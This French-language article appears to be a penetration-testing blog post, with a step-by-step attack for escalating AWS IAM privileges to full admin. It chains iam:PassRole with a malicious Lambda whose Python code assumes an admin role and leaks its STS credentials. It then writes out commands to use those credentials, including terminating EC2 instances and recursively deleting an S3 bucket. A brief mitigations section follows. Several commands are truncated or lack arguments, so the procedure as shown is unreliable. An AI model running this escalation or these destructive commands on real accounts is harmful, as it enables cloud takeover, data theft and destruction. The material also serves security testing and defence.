Exploiter une mauvaise configuration AWS IAM : du privilege escalation à l’accès root

L’Infrastructure as Code et l’adoption massive du cloud public ont transformé la manière dont les accès et les permissions sont gérés. Sur AWS, une mauvaise configuration IAM peut permettre une escalade de privilèges jusqu'à des permissions critiques, voire l'accès root. Cet article présente un scénario réaliste de privilege escalation en exploitant des faiblesses courantes.

Scénario d’attaque

Nous partons du principe que l’attaquant dispose de credentials valides (access key & secret) pour un utilisateur IAM à privilèges limités (Exploitation d'une SSRF sur une application web par exemple) mais avec des droits mal gerés comme :

• iam:PassRole

• lambda:CreateFunction

• iam:ListRoles

• sts:AssumeRole

• logs:CreateLogGroup

• logs:CreateLogStream

• logs:PutLogEvents

L’objectif est de passer de cet utilisateur limité à un accès admin total.

Phase 1 : Enumération des permissions IAM

Pour commencer, il est crucial de cartographier les droits actuels.

Liste des policies attachées

aws iam list-attached-user-policies --user-name alice
aws iam list-user-policies --user-name

Simuler les permissions d'un utilisateur

aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::111111111111:user/alice \
  --action-names iam:PassRole lambda:CreateFunction sts:AssumeRole \
  --resource-arns

Phase 2 : Recherche d’un rôle cible avec privilèges élevés

Les erreurs classiques sont des rôles avec AdministratorAccess ou une custom policy trop permissive, accessibles via iam:PassRole.

aws iam list-roles --query 'Roles[*].Arn'

Tester un rôle cible :

aws iam simulate-principal-policy \
  --policy-source-arn arn:aws:iam::111111111111:user/alice \
  --action-names iam:PassRole \
  --resource-arns

Phase 3 : Créer une Lambda malveillante

Le code de la Lambda assume le rôle cible et imprime les credentials STS dans les logs CloudWatch.

Code : lambda_function.py

import boto3
import json

def lambda_handler(event, context):
    sts = boto3.client('sts')
    assumed = sts.assume_role(
        RoleArn='arn:aws:iam::111111111111:role/AdminEscalationRole',
        RoleSessionName='escalation-session'
    )
    print(json.dumps(assumed['Credentials']))

Créer un zip exécutable

zip function

Créer la Lambda avec le rôle visé

aws lambda create-function \
  --function-name escalade \
  --runtime python3.9 \
  --role arn:aws:iam::111111111111:role/AdminEscalationRole \
  --handler lambda_function.lambda_handler \
  --zip-file

Appeler la Lambda

aws lambda invoke --function-name escalade out.txt
cat

Ou lire les credentials via CloudWatch Logs

aws logs describe-log-groups
aws logs get-log-events --log-group-name

Phase 4 : Utiliser les credentials temporaires pour escalader

export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN

Avec ces variables en place, vous pouvez exécuter n’importe quelle action :

aws iam list-users
aws ec2 terminate-instances --instance-ids i-...
aws s3 rm s3://sensitive-data-bucket --recursive

Mitigations & bonnes pratiques

1. Limiter iam:PassRole

{
  "Effect": "Allow",
  "Action": "iam:PassRole",
  "Resource": "arn:aws:iam::111111111111:role/SafeLambdaRole",
  "Condition": {
    "StringEquals": {
      "iam:PassedToService": "lambda.amazonaws.com"
    }
  }
}

2. Auditer les permissions effectives

Utiliser Access Analyzer et IAM Access Advisor pour voir les droits effectivement utilisés.

3. Les logs et les alertes

Activez CloudTrail, reliez-le à une règle EventBridge ou GuardDuty pour détecter :

• La création de Lambda non prévue

• Les appels sts:AssumeRole

• Les usages de PassRole inhabituels

Bonus : Variante sans Lambda (via EC2 ou Glue)

Si lambda:CreateFunction est restreint mais que l'utilisateur a ec2:RunInstances, on peut utiliser userdata pour injecter du code et récupérer les mêmes credentials STS via instance profile.

Ce type d'attaque démontre la puissance destructrice de mauvaises configurations IAM. Il ne s'agit pas simplement de droits explicites mais d'interactions implicites entre les services. Une posture Zero Trust et une détection active sont cruciales.